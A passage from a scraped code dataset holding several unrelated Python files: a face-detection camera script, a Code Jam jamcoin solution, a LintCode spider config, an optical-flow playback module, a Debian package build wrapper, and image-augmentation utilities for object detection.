Solving/SANGMIN/Q-31.py","file_name":"Q-31.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"234447989","text":"import multiprocessing as mp\nimport cv2\n# import dlib\n\n\ndef detect_face(frame, value):\n img = frame\n dets = detector(img, 1)\n for index, face in enumerate(dets):\n left = face.left()\n top = face.top()\n right = face.right()\n bottom = face.bottom()\n\n # 因为如果没有检测到脸,上面四个变量是不存在的,\n # 会报出UnboundLocalError的错误,所以要处理一下。\n try:\n value[:] = [left, top, right, bottom]\n except UnboundLocalError:\n value[:] = [0, 0, 0, 0]\n\n\ndef draw_line(img, box):\n left = box[0]\n top = box[1]\n right = box[2]\n bottom = box[3]\n\n # 给传进来的img画框,并返回\n cv2.rectangle(img, (left * 2, top * 2), (right * 2, bottom * 2), (255, 0, 0), 1)\n return img\n\n\nif __name__ == '__main__':\n\n # initial detector and cap\n # 树莓派的运行内存有限,所以要将采集的图片像素缩小一些,便于计算。\n detector = dlib.get_frontal_face_detector() # 获取人脸分类器for face detection\n # 打开视频流\n cap = cv2.VideoCapture(-1) # Turn on the camera\n cap.set(3, 320)\n cap.set(4, 240)\n\n # initial boxes\n # 初始化框脸的初始位置\n # 线程拥有\n box1 = mp.Array('i', [0, 0, 0, 0])\n box2 = mp.Array('i', [0, 0, 0, 0])\n\n # initial Windowbox\n cv2.namedWindow('success', cv2.WINDOW_AUTOSIZE)\n\n # initial frames and processes\n # 想要几个进程处理图片就用几组,但并不是用的越多越好,\n # 树莓派的CPU一共有4个核,全部用上可能会影响其他的性能,自己试的时候2个会好一点。\n ret, frame11 = cap.read()\n img11 = cv2.resize(frame11, (160, 120))\n res1 = mp.Process(target=detect_face, args=(img11, box1))\n res1.start()\n\n # 可以把识别用的图片像素缩小,可以加快速度,同时也可以减少cpu负担,\n # 然后再把识别框扩大相应倍数,在原图片上放出。\n ret, frame21 = cap.read()\n img21 = cv2.resize(frame21, (160, 120))\n res2 = mp.Process(target=detect_face, args=(img21, box2))\n res2.start()\n\n while (cap.isOpened()):\n # process 1\n # 如果想要逐帧处理,那就用pass,如果想跳帧就选择上面两句\n resultImage = 0\n if (res1.is_alive()):\n ret, frame12 = cap.read()\n cv2.imshow('success', draw_line(frame12, box1))\n else:\n ret, frame11 = cap.read()\n cv2.imshow('success', draw_line(frame11, box1))\n img11 = cv2.resize(frame11, (160, 120))\n res1 = mp.Process(target=detect_face, args=(img11, box1))\n res1.start()\n\n # process 2\n if (res2.is_alive()):\n ret, frame22 = cap.read()\n cv2.imshow('success', draw_line(frame22, box2))\n # pass\n else:\n ret, frame21 = cap.read()\n cv2.imshow('success', draw_line(frame21, box2))\n img21 = cv2.resize(frame21, (160, 120))\n res2 = mp.Process(target=detect_face, args=(img21, box2))\n res2.start()\n\nif cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\ncv2.destroyAllWindows()\ncap.release()\nprint('END')\n","sub_path":"ortherTest/frameQucik.py","file_name":"frameQucik.py","file_ext":"py","file_size_in_byte":3189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"273984063","text":"from math import sqrt\r\ndef b10toN(number,base):\r\n converted_str = \"\"\r\n currentnum = number\r\n while currentnum:\r\n mod = currentnum % base\r\n currentnum = currentnum // base\r\n converted_str = chr(48 + mod + 7*(mod > 10)) + converted_str\r\n return converted_str\r\ndef isprime(number):\r\n if number > 1:\r\n for i in range(2,int(sqrt(number))):\r\n if (number % i) == 0:\r\n return 0\r\n else:\r\n return 0\r\n return 1\r\ndef bToN(number,base):\r\n ans=0\r\n j=len(number)-1\r\n for i in range(len(number)):\r\n ans+=int(number[i])*pow(base,j)\r\n j-=1\r\n return ans\r\ndef divisor(z):\r\n for i in range(2,int(z/2)+1):\r\n if z % i == 0:\r\n return i\r\nT=int(input())\r\nfor i in range(1,T+1):\r\n x=list(map(int,input().split()))\r\n v=x[1]\r\n print(\"Case #{}:\".format(i))\r\n for j in range(2**(x[0]-1),2**x[0]):\r\n y= b10toN(j,2)\r\n if y[0]=='1' and y[-1]=='1':\r\n z=int(y)\r\n res=[]\r\n res.append(z)\r\n for k in range(2,11):\r\n z=bToN(y,k)\r\n if isprime(z):\r\n res=[]\r\n break\r\n else:\r\n res.append(divisor(z))\r\n if res == []:\r\n continue\r\n else :\r\n if v==0:\r\n exit\r\n else:\r\n v-=1\r\n for q in res:\r\n print(q, end=\" \")\r\n print()\r\n","sub_path":"codes/CodeJamCrawler/16_0_3_neat/16_0_3_Vasu15_vi.py","file_name":"16_0_3_Vasu15_vi.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"550756093","text":"from spideroj.crawler.spiders import Spider\nfrom spideroj.crawler.field import Field\nfrom spideroj.crawler.processor import Cleaner\n\n\nclass LintcodeSpider(Spider):\n server_name = 'lintcode'\n\n fields = [\n Field(\n name='Solved Question',\n json_parser=lambda x: [x['user_summary']['problem']['total_accepted'],\n x['user_summary']['problem']['total']]\n ),\n\n Field(\n name='AI Problem Submitted',\n json_parser=lambda x: [x['user_summary']['ai']['total_submitted'],\n x['user_summary']['ai']['total']]\n )\n ]\n","sub_path":"spideroj/crawler/spiders/lintcode.py","file_name":"lintcode.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"600655827","text":"\nimport sys\n\nfrom math import pi\nfrom math import exp\n\n# for saving screenshots\nfrom datetime import datetime\nimport os\n\n# ignore spurious pygame-related errors\n# pylint: disable=no-member\n# pylint: disable=too-many-function-args\nimport pygame\n\nfrom PyAedatTools import FlowGenerator\n\n# display event data next to optical flow data\ndef playOpticalFlow(eventData, eventPlaybackArgs, flowGeneratorArgs):\n\n flowGeneratorArgs['screenWidth'] = eventPlaybackArgs['width']\n flowGeneratorArgs['screenHeight'] = eventPlaybackArgs['height']\n \n # initialize pygame\n pygame.init()\n pygame.display.set_caption(eventPlaybackArgs['caption'])\n\n # remember date and time of this run\n startDateTime = datetime.now()\n\n # update every frameStep\n UPDATE = pygame.USEREVENT+1\n frameStep = eventPlaybackArgs['frameStep']\n pygame.time.set_timer(UPDATE, int(frameStep/eventPlaybackArgs['playbackSpeed']))\n\n # draw the optical flow plane metrics to the right of the events\n width = eventPlaybackArgs['width']\n height = eventPlaybackArgs['height']\n totalWidth = eventPlaybackArgs['width'] + height\n # screen is a surface representing the whole display\n screen = pygame.display.set_mode((totalWidth, height))\n # draw events onto their own surface\n events = pygame.Surface((width, height))\n events.fill((127, 127, 127, 255))\n # surface to fade the events over time\n fade = pygame.Surface((width, height), pygame.SRCALPHA)\n fade.fill((127, 127, 127, eventPlaybackArgs['fadeRate']))\n # surface to draw optical flow metrics onto\n flowPlaneSurface = pygame.Surface((height, height))\n flowPlaneSurface.fill((255, 255, 255, eventPlaybackArgs['fadeRate']))\n # surface to draw trackplane projection cells onto\n# trackPlaneSurface = pygame.Surface((width, height), pygame.SRCALPHA)\n# trackPlaneSurface.fill((0, 0, 0, 0))\n\n # keep track of total events processed\n i = 0\n\n # keep track of elapsed simulation time (in microseconds)\n t = 0\n\n # keep track of total frames drawn\n numFramesDrawn = 0\n\n # initialize FlowGenerator\n flowGenerator = FlowGenerator.FlowGenerator(**flowGeneratorArgs)\n\n # enter pygame loop\n running = True\n while running:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n \n # this code runs every frameStep\n elif event.type == UPDATE:\n # fade out events that have already been drawn\n events.blit(fade, (0,0))\n\n # each frame a set amount of simulation time passes\n # therefore t may not reflect real time\n # frameStep is in milliseconds but events are recorded in microseconds\n t = t + frameStep*1000\n\n # get reference to event surface pixels as 3d array [x][y][color]\n pixels = pygame.surfarray.pixels3d(events)\n \n # get the time of the first event so events can be processed starting from time 0\n startTime = eventData['timeStamp'][0]\n \n # add events until timeStamp > time since init\n while i < eventData['numEvents'] \\\n and (eventData['timeStamp'][0] + t) > eventData['timeStamp'][i]:\n\n # pick event value from {-1, 1}\n if eventData['polarity'][i] == True:\n polarity = 1\n else:\n polarity = -1\n\n # process the event for optical flow analysis\n eHue = flowGenerator.processNewEvent(\n eventData['x'][i], \n eventData['y'][i], \n eventData['timeStamp'][i]-startTime,\n polarity)\n\n # choose event color\n color = pygame.Color(255,255,255) if eventData['polarity'][i] else pygame.Color(0,0,0)\n # color event to match trackplane\n if eHue is not None:\n color.hsva = (eHue, 100, 75+25*polarity, 100)\n\n # update pixel array to draw event\n for j in range(3):\n pixels[ width-eventData['x'][i]-1 ][ height-eventData['y'][i]-1 ][j] = color[j]\n\n # increment total events\n i += 1\n\n # free event surface pixel array\n del pixels\n\n # update the metrics in the flow plane module and find new track planes if applicable\n flowGenerator.updateFlowPlaneMetrics()\n\n # draw the optical flow metric array\n metricArray = flowGenerator.flowPlaneModule.getNormalizedMetricArray()\n\n n = flowGeneratorArgs['projRes']\n gridSize = height/n\n for ni in range(n):\n for nj in range(n):\n # draw a rect corresponding to the value of the metric for each angle\n metric = metricArray[n-ni-1][n-nj-1]\n brightness = 255-255*metric\n color = (brightness, brightness, brightness)\n rect = pygame.Rect(ni*gridSize, nj*gridSize, gridSize, gridSize)\n pygame.draw.rect(flowPlaneSurface, color, rect)\n\n # get reference to trackplane surface pixels as 3d array [x][y][color]\n# pixels = pygame.surfarray.pixels3d(trackPlaneSurface)\n# pixels_alpha = pygame.surfarray.pixels_alpha(trackPlaneSurface)\n\n # draw track planes onto the flow metric array as colored circles\n maxSize = height*0.1\n scaleRate = 1 # bigger means it takes more events to reach maxSize\n for (hue, size, normal, cells) in flowGenerator.getTrackPlaneDisplayData():\n tpx = int(height-height*(normal[0]+pi/2)/pi)\n tpy = int(height-height*(normal[1]+pi/2)/pi)\n color = pygame.Color(0, 0, 0)\n color.hsva = (hue, 100, 100, 50)\n radius = int(maxSize*(1-exp(-size/scaleRate)))\n pygame.draw.circle(flowPlaneSurface, color, (tpx, tpy), radius)\n# for (x, y) in cells:\n# # update pixel array to draw event\n# for j in range(3):\n# pixels[ width-x-1 ][ height-y-1 ][j] = color[j]\n# pixels_alpha[ width-x-1 ][ height-y-1 ] = 100\n \n # free trackplane surface pixel array\n# del pixels\n# del pixels_alpha\n\n # draw the event surface onto the screen\n screen.fill((0,0,0,255))\n screen.blit(events, (0,0))\n\n # draw the optical flow metric display onto the screen\n screen.blit(flowPlaneSurface, (width,0))\n\n # draw the track plane surface onto the screen\n # TODO: make the alpha actually work\n# screen.blit(trackPlaneSurface, (0,0))\n \n # update the display\n pygame.display.update()\n\n # save the screen as an image\n #framePath = os.path.join(os.path.dirname(__file__), '../frames')\n #screenshotName = \"run-\" + startDateTime.strftime(\"%H-%M-%S\") + \"-%04d.png\" % numFramesDrawn\n #pygame.image.save(screen, os.path.join(framePath, screenshotName))\n\n # update time elapsed\n sys.stdout.write(\"\\rTime %i\" % t)\n sys.stdout.flush()\n\n # update events processed\n sys.stdout.write(\" - Event %i\" % i)\n sys.stdout.flush()\n\n # increment frames drawn\n numFramesDrawn += 1\n\n pygame.quit()","sub_path":"PyAedatTools/OpticalFlowPlayback.py","file_name":"OpticalFlowPlayback.py","file_ext":"py","file_size_in_byte":7952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"371466589","text":"#!/usr/bin/env python\n'''\nWrapper around git-buildpackage to deal with the change in the way that it\ninterprets arguments between the version that ships with ubuntu 12.04 and\nthe version that ships with Ubuntu 14.04.\n\nIn older versions of git-buildpackage, the --git-upstream argument could refer\nto either a branch or a tag name (bloom uses tags). In recent versions of\ngit-buildpackage, --git-upstream can only refer to a branch. To get around this,\nthis script accepts the old style arguments and modifies them to work with the\nversion of git-buildpackage on this system.\n\nFor more information on this issue, see\nhttps://github.com/mikeferguson/buildbot-ros/issues/33\nand\nhttps://github.com/ros-infrastructure/bloom/issues/211\n'''\nimport sys\nimport re\nimport os\nimport subprocess\nimport traceback\n\ndef dpkg_parsechangelog(source_dir, fields):\n cmd = ['dpkg-parsechangelog']\n output = subprocess.check_output(cmd, cwd=source_dir)\n values = {}\n for line in output.decode('utf-8').splitlines():\n for field in fields:\n prefix = '%s: ' % field\n if line.startswith(prefix):\n values[field] = line[len(prefix):]\n assert len(fields) == len(values.keys())\n return [values[field] for field in fields]\n\ndef _get_package_subfolders(basepath, debian_package_name):\n subfolders = []\n for filename in os.listdir(basepath):\n path = os.path.join(basepath, filename)\n if not os.path.isdir(path):\n continue\n if filename.startswith('%s-' % debian_package_name):\n subfolders.append(path)\n return subfolders\n\n# ensure that one source subfolder exists\n\ndebian_pkg, release_version, distro, workdir = sys.argv[1:5]\ngbp_args = sys.argv[5:]\n\ntry:\n subfolders = _get_package_subfolders(workdir, debian_pkg)\n assert len(subfolders) == 1, subfolders\n source_dir = subfolders[0]\nexcept:\n source_dir=workdir+'/build'\n\nsource, version = dpkg_parsechangelog( source_dir, ['Source', 'Version'])\n\n# output package version for job description\nprint(\"Package '%s' version: %s\" % (debian_pkg, version))\n\n\n# cmd = ['apt-src', 'import', source, '--location', source_dir, '--version', version]\n# print(cmd, source_dir)\n# subprocess.check_call(cmd, cwd=source_dir)\n\n# source_dir=workdir+'/build'\n# cmd = ['apt-src', 'build', source, '--location', source_dir]\n\ncmd = ['gbp', 'buildpackage', '--git-pbuilder', '--git-upstream-tree=TAG',\n '--git-upstream-tag=debian/{debian_pkg}_{release_version}-0_{distro}'.format(\n debian_pkg=debian_pkg, release_version=release_version, distro=distro)] + gbp_args\n\nprint(\"Invoking '%s' in '%s'\" % (' '.join(cmd), source_dir))\n\ntry:\n subprocess.check_call(cmd, cwd=source_dir)\nexcept subprocess.CalledProcessError:\n traceback.print_exc()\n sys.exit(\"\"\"\n--------------------------------------------------------------------------------------------------\n`{0}` failed.\nThis is usually because of an error building the package.\nThe traceback from this failure (just above) is printed for completeness, but you can ignore it.\nYou should look above `E: Building failed` in the build log for the actual cause of the failure.\n--------------------------------------------------------------------------------------------------\n\"\"\".format(' '.join(cmd)))\n\n","sub_path":"scripts/build_binary_deb.py","file_name":"build_binary_deb.py","file_ext":"py","file_size_in_byte":3284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"3576402","text":"# ------------------------------------------------------------------------------\n# Copyright (c) Microsoft\n# Licensed under the MIT License.\n# Written by Bin Xiao (Bin.Xiao@microsoft.com)\n# Modified by Xingyi Zhou\n# ------------------------------------------------------------------------------\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport numpy as np\nimport cv2\nimport random\nimport math\n\ndef flip(img):\n return img[:, :, ::-1].copy() \n\ndef transform_preds(coords, center, scale, output_size):\n target_coords = np.zeros(coords.shape)\n trans = get_affine_transform(center, scale, 0, output_size, inv=1)\n for p in range(coords.shape[0]):\n target_coords[p, 0:2] = affine_transform(coords[p, 0:2], trans)\n return target_coords\n\n\ndef get_affine_transform(center,\n scale,\n rot,\n output_size,\n shift=np.array([0, 0], dtype=np.float32),\n inv=0):\n if not isinstance(scale, np.ndarray) and not isinstance(scale, list):\n scale = np.array([scale, scale], dtype=np.float32)\n\n scale_tmp = scale\n src_w = scale_tmp[0]\n dst_w = output_size[0]\n dst_h = output_size[1]\n\n rot_rad = np.pi * rot / 180\n src_dir = get_dir([0, src_w * -0.5], rot_rad)\n dst_dir = np.array([0, dst_w * -0.5], np.float32)\n\n src = np.zeros((3, 2), dtype=np.float32)\n dst = np.zeros((3, 2), dtype=np.float32)\n src[0, :] = center + scale_tmp * shift\n src[1, :] = center + src_dir + scale_tmp * shift\n dst[0, :] = [dst_w * 0.5, dst_h * 0.5]\n dst[1, :] = np.array([dst_w * 0.5, dst_h * 0.5], np.float32) + dst_dir\n\n src[2:, :] = get_3rd_point(src[0, :], src[1, :])\n dst[2:, :] = get_3rd_point(dst[0, :], dst[1, :])\n\n if inv:\n trans = cv2.getAffineTransform(np.float32(dst), np.float32(src))\n else:\n trans = cv2.getAffineTransform(np.float32(src), np.float32(dst))\n\n return trans\n\n\ndef affine_transform(pt, t):\n new_pt = np.array([pt[0], pt[1], 1.], dtype=np.float32).T\n new_pt = np.dot(t, new_pt)\n return new_pt[:2]\n\n\ndef get_3rd_point(a, b):\n direct = a - b\n return b + np.array([-direct[1], direct[0]], dtype=np.float32)\n\n\ndef get_dir(src_point, rot_rad):\n sn, cs = np.sin(rot_rad), np.cos(rot_rad)\n\n src_result = [0, 0]\n src_result[0] = src_point[0] * cs - src_point[1] * sn\n src_result[1] = src_point[0] * sn + src_point[1] * cs\n\n return src_result\n\n\ndef crop(img, center, scale, output_size, rot=0):\n trans = get_affine_transform(center, scale, rot, output_size)\n\n dst_img = cv2.warpAffine(img,\n trans,\n (int(output_size[0]), int(output_size[1])),\n flags=cv2.INTER_LINEAR)\n\n return dst_img\n\n\ndef gaussian_radius(det_size, min_overlap=0.7):\n height, width = det_size\n\n a1 = 1\n b1 = (height + width)\n c1 = width * height * (1 - min_overlap) / (1 + min_overlap)\n sq1 = np.sqrt(b1 ** 2 - 4 * a1 * c1)\n r1 = (b1 + sq1) / 2\n\n a2 = 4\n b2 = 2 * (height + width)\n c2 = (1 - min_overlap) * width * height\n sq2 = np.sqrt(b2 ** 2 - 4 * a2 * c2)\n r2 = (b2 + sq2) / 2\n\n a3 = 4 * min_overlap\n b3 = -2 * min_overlap * (height + width)\n c3 = (min_overlap - 1) * width * height\n sq3 = np.sqrt(b3 ** 2 - 4 * a3 * c3)\n r3 = (b3 + sq3) / 2\n return min(r1, r2, r3)\n\n\ndef gaussian2D(shape, sigma=1):\n m, n = [(ss - 1.) / 2. for ss in shape]\n y, x = np.ogrid[-m:m+1,-n:n+1]\n\n h = np.exp(-(x * x + y * y) / (2 * sigma * sigma))\n h[h < np.finfo(h.dtype).eps * h.max()] = 0\n return h\n\ndef draw_umich_gaussian(heatmap, center, radius, k=1):\n diameter = 2 * radius + 1\n gaussian = gaussian2D((diameter, diameter), sigma=diameter / 6)\n \n x, y = int(center[0]), int(center[1])\n\n height, width = heatmap.shape[0:2]\n \n left, right = min(x, radius), min(width - x, radius + 1)\n top, bottom = min(y, radius), min(height - y, radius + 1)\n\n masked_heatmap = heatmap[y - top:y + bottom, x - left:x + right]\n masked_gaussian = gaussian[radius - top:radius + bottom, radius - left:radius + right]\n if min(masked_gaussian.shape) > 0 and min(masked_heatmap.shape) > 0: # TODO debug\n np.maximum(masked_heatmap, masked_gaussian * k, out=masked_heatmap)\n return heatmap\n\ndef draw_dense_reg(regmap, heatmap, center, value, radius, is_offset=False):\n diameter = 2 * radius + 1\n gaussian = gaussian2D((diameter, diameter), sigma=diameter / 6)\n value = np.array(value, dtype=np.float32).reshape(-1, 1, 1)\n dim = value.shape[0]\n reg = np.ones((dim, diameter*2+1, diameter*2+1), dtype=np.float32) * value\n if is_offset and dim == 2:\n delta = np.arange(diameter*2+1) - radius\n reg[0] = reg[0] - delta.reshape(1, -1)\n reg[1] = reg[1] - delta.reshape(-1, 1)\n \n x, y = int(center[0]), int(center[1])\n\n height, width = heatmap.shape[0:2]\n \n left, right = min(x, radius), min(width - x, radius + 1)\n top, bottom = min(y, radius), min(height - y, radius + 1)\n\n masked_heatmap = heatmap[y - top:y + bottom, x - left:x + right]\n masked_regmap = regmap[:, y - top:y + bottom, x - left:x + right]\n masked_gaussian = gaussian[radius - top:radius + bottom,\n radius - left:radius + right]\n masked_reg = reg[:, radius - top:radius + bottom,\n radius - left:radius + right]\n if min(masked_gaussian.shape) > 0 and min(masked_heatmap.shape) > 0: # TODO debug\n idx = (masked_gaussian >= masked_heatmap).reshape(\n 1, masked_gaussian.shape[0], masked_gaussian.shape[1])\n masked_regmap = (1-idx) * masked_regmap + idx * masked_reg\n regmap[:, y - top:y + bottom, x - left:x + right] = masked_regmap\n return regmap\n\n\ndef draw_msra_gaussian(heatmap, center, sigma):\n tmp_size = sigma * 3\n mu_x = int(center[0] + 0.5)\n mu_y = int(center[1] + 0.5)\n w, h = heatmap.shape[0], heatmap.shape[1]\n ul = [int(mu_x - tmp_size), int(mu_y - tmp_size)]\n br = [int(mu_x + tmp_size + 1), int(mu_y + tmp_size + 1)]\n if ul[0] >= h or ul[1] >= w or br[0] < 0 or br[1] < 0:\n return heatmap\n size = 2 * tmp_size + 1\n x = np.arange(0, size, 1, np.float32)\n y = x[:, np.newaxis]\n x0 = y0 = size // 2\n g = np.exp(- ((x - x0) ** 2 + (y - y0) ** 2) / (2 * sigma ** 2))\n g_x = max(0, -ul[0]), min(br[0], h) - ul[0]\n g_y = max(0, -ul[1]), min(br[1], w) - ul[1]\n img_x = max(0, ul[0]), min(br[0], h)\n img_y = max(0, ul[1]), min(br[1], w)\n heatmap[img_y[0]:img_y[1], img_x[0]:img_x[1]] = np.maximum(\n heatmap[img_y[0]:img_y[1], img_x[0]:img_x[1]],\n g[g_y[0]:g_y[1], g_x[0]:g_x[1]])\n return heatmap\n\ndef gaussian_radius_wh(det_size, alpha):\n height, width = det_size\n h_radiuses_alpha = int(height / 2. * alpha)\n w_radiuses_alpha = int(width / 2. * alpha)\n return h_radiuses_alpha, w_radiuses_alpha\n\n\ndef gaussian_2d(shape, sigma_x=1, sigma_y=1):\n m, n = [(ss - 1.) / 2. for ss in shape]\n y, x = np.ogrid[-m:m + 1, -n:n + 1]\n\n h = np.exp(-(x * x / (2 * sigma_x * sigma_x) + y * y / (2 * sigma_y * sigma_y)))\n h[h < np.finfo(h.dtype).eps * h.max()] = 0\n return h\n\ndef draw_truncate_gaussian(heatmap, center, h_radius, w_radius, k=1):\n h, w = 2 * h_radius + 1, 2 * w_radius + 1\n sigma_x = w / 6\n sigma_y = h / 6\n gaussian = gaussian_2d((h, w), sigma_x=sigma_x, sigma_y=sigma_y)\n\n x, y = int(center[0]), int(center[1])\n\n height, width = heatmap.shape[0:2]\n\n left, right = min(x, w_radius), min(width - x, w_radius + 1)\n top, bottom = min(y, h_radius), min(height - y, h_radius + 1)\n\n masked_heatmap = heatmap[y - top:y + bottom, x - left:x + right]\n masked_gaussian = gaussian[h_radius - top:h_radius + bottom,\n w_radius - left:w_radius + right]\n if min(masked_gaussian.shape) > 0 and min(masked_heatmap.shape) > 0:\n np.maximum(masked_heatmap, masked_gaussian * k, out=masked_heatmap)\n return heatmap\n\ndef grayscale(image):\n return cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\ndef lighting_(data_rng, image, alphastd, eigval, eigvec):\n alpha = data_rng.normal(scale=alphastd, size=(3, ))\n image += np.dot(eigvec, eigval * alpha)\n\ndef blend_(alpha, image1, image2):\n image1 *= alpha\n image2 *= (1 - alpha)\n image1 += image2\n\ndef saturation_(data_rng, image, gs, gs_mean, var):\n alpha = 1. + data_rng.uniform(low=-var, high=var)\n blend_(alpha, image, gs[:, :, None])\n\ndef brightness_(data_rng, image, gs, gs_mean, var):\n alpha = 1. + data_rng.uniform(low=-var, high=var)\n image *= alpha\n\ndef contrast_(data_rng, image, gs, gs_mean, var):\n alpha = 1. + data_rng.uniform(low=-var, high=var)\n blend_(alpha, image, gs_mean)\n\ndef color_aug(data_rng, image, eig_val, eig_vec):\n functions = [brightness_, contrast_, saturation_]\n random.shuffle(functions)\n\n gs = grayscale(image)\n gs_mean = gs.mean()\n for f in functions:\n f(data_rng, image, gs, gs_mean, 0.4)\n lighting_(data_rng, image, 0.1, eig_val, eig_vec)\n\n\ndef load_image(self, index):\n # loads 1 image from dataset, returns img, original hw, resized hw\n img_dict = self.data_dict[index]\n file_name = img_dict['file_name']\n img_path = os.path.join(self.img_dir, file_name)\n labels = img_dict['labels']\n\n img = cv2.imread(img_path) # BGR\n assert img is not None, 'Image Not Found ' + img_path\n h0, w0 = img.shape[:2] # orig hw\n r = self.img_size / max(h0, w0) # resize image to img_size\n if r != 1: # always resize down, only resize up if training with augmentation\n interp = cv2.INTER_AREA if r < 1 and not self.opt.large_scale else cv2.INTER_LINEAR\n img = cv2.resize(img, (int(w0 * r), int(h0 * r)), interpolation=interp)\n return img, labels, (h0, w0), img.shape[:2]\n\n\ndef augment_hsv(img, hgain=0.5, sgain=0.5, vgain=0.5):\n r = np.random.uniform(-1, 1, 3) * [hgain, sgain, vgain] + 1 # random gains\n hue, sat, val = cv2.split(cv2.cvtColor(img, cv2.COLOR_BGR2HSV))\n dtype = img.dtype # uint8\n\n x = np.arange(0, 256, dtype=np.int16)\n lut_hue = ((x * r[0]) % 180).astype(dtype)\n lut_sat = np.clip(x * r[1], 0, 255).astype(dtype)\n lut_val = np.clip(x * r[2], 0, 255).astype(dtype)\n\n img_hsv = cv2.merge((cv2.LUT(hue, lut_hue), cv2.LUT(sat, lut_sat), cv2.LUT(val, lut_val))).astype(dtype)\n cv2.cvtColor(img_hsv, cv2.COLOR_HSV2BGR, dst=img) # no return needed\n\n\ndef load_mosaic(self, index):\n # loads images in a mosaic\n\n labels4 = []\n s = self.img_size\n yc, xc = [int(random.uniform(-x, 2 * s + x)) for x in self.mosaic_border] # mosaic center x, y\n indices = [index] + [random.randint(0, len(self.data_dict) - 1) for _ in range(3)] # 3 additional image indices\n for i, index in enumerate(indices):\n # Load image\n img, labels0, _, (h, w) = load_image(self, index)\n\n # place img in img4\n if i == 0: # top left\n img4 = np.full((s * 2, s * 2, img.shape[2]), 114, dtype=np.uint8) # base image with 4 tiles\n x1a, y1a, x2a, y2a = max(xc - w, 0), max(yc - h, 0), xc, yc # xmin, ymin, xmax, ymax (large image)\n x1b, y1b, x2b, y2b = w - (x2a - x1a), h - (y2a - y1a), w, h # xmin, ymin, xmax, ymax (small image)\n elif i == 1: # top right\n x1a, y1a, x2a, y2a = xc, max(yc - h, 0), min(xc + w, s * 2), yc\n x1b, y1b, x2b, y2b = 0, h - (y2a - y1a), min(w, x2a - x1a), h\n elif i == 2: # bottom left\n x1a, y1a, x2a, y2a = max(xc - w, 0), yc, xc, min(s * 2, yc + h)\n x1b, y1b, x2b, y2b = w - (x2a - x1a), 0, max(xc, w), min(y2a - y1a, h)\n elif i == 3: # bottom right\n x1a, y1a, x2a, y2a = xc, yc, min(xc + w, s * 2), min(s * 2, yc + h)\n x1b, y1b, x2b, y2b = 0, 0, min(w, x2a - x1a), min(y2a - y1a, h)\n\n img4[y1a:y2a, x1a:x2a] = img[y1b:y2b, x1b:x2b] # img4[ymin:ymax, xmin:xmax]\n padw = x1a - x1b\n padh = y1a - y1b\n\n # Labels\n if labels0.size > 0: # Normalized xywh to pixel xyxy format\n labels = labels0.copy()\n labels[:, 1] = w * (labels0[:, 1] - labels0[:, 3] / 2) + padw\n labels[:, 2] = h * (labels0[:, 2] - labels0[:, 4] / 2) + padh\n labels[:, 3] = w * (labels0[:, 1] + labels0[:, 3] / 2) + padw\n labels[:, 4] = h * (labels0[:, 2] + labels0[:, 4] / 2) + padh\n labels4.append(labels)\n\n # Concat/clip labels\n if len(labels4):\n labels4 = np.concatenate(labels4, 0)\n # np.clip(labels4[:, 1:] - s / 2, 0, s, out=labels4[:, 1:]) # use with center crop\n np.clip(labels4[:, 1:], 0, 2 * s, out=labels4[:, 1:]) # use with random_affine\n\n # Replicate\n # img4, labels4 = replicate(img4, labels4)\n\n # Augment\n # img4 = img4[s // 2: int(s * 1.5), s // 2:int(s * 1.5)] # center crop (WARNING, requires box pruning)\n img4, labels4 = random_affine(img4, labels4,\n degrees=10.,\n translate=0.1,\n scale=0.5,\n shear=10,\n border=self.mosaic_border) # border to remove\n\n return img4, labels4\n\n\ndef letterbox(img, new_shape=(640, 640), color=(114, 114, 114), auto=True, scaleFill=False, scaleup=True):\n # Resize image to a 32-pixel-multiple rectangle https://github.com/ultralytics/yolov3/issues/232\n shape = img.shape[:2] # current shape [height, width]\n if isinstance(new_shape, int):\n new_shape = (new_shape, new_shape)\n\n # Scale ratio (new / old)\n r = min(new_shape[0] / shape[0], new_shape[1] / shape[1])\n if not scaleup: # only scale down, do not scale up (for better test mAP)\n r = min(r, 1.0)\n\n # Compute padding\n ratio = r, r # width, height ratios\n new_unpad = int(round(shape[1] * r)), int(round(shape[0] * r))\n dw, dh = new_shape[1] - new_unpad[0], new_shape[0] - new_unpad[1] # wh padding\n if auto: # minimum rectangle\n dw, dh = np.mod(dw, 64), np.mod(dh, 64) # wh padding\n elif scaleFill: # stretch\n dw, dh = 0.0, 0.0\n new_unpad = new_shape\n ratio = new_shape[0] / shape[1], new_shape[1] / shape[0] # width, height ratios\n\n dw /= 2 # divide padding into 2 sides\n dh /= 2\n\n if shape[::-1] != new_unpad: # resize\n img = cv2.resize(img, new_unpad, interpolation=cv2.INTER_LINEAR)\n top, bottom = int(round(dh - 0.1)), int(round(dh + 0.1))\n left, right = int(round(dw - 0.1)), int(round(dw + 0.1))\n img = cv2.copyMakeBorder(img, top, bottom, left, right, cv2.BORDER_CONSTANT, value=color) # add border\n return img, ratio, (dw, dh)\n\n\ndef random_affine(img, targets=(), degrees=10, translate=.1, scale=.1, shear=10, border=(0, 0)):\n # torchvision.transforms.RandomAffine(degrees=(-10, 10), translate=(.1, .1), scale=(.9, 1.1), shear=(-10, 10))\n # https://medium.com/uruvideo/dataset-augmentation-with-random-homographies-a8f4b44830d4\n # targets = [cls, xyxy]\n\n height = img.shape[0] + border[0] * 2 # shape(h,w,c)\n width = img.shape[1] + border[1] * 2\n\n # Rotation and Scale\n R = np.eye(3)\n a = random.uniform(-degrees, degrees)\n # a += random.choice([-180, -90, 0, 90]) # add 90deg rotations to small rotations\n s = random.uniform(1 - scale, 1 + scale)\n # s = 2 ** random.uniform(-scale, scale)\n R[:2] = 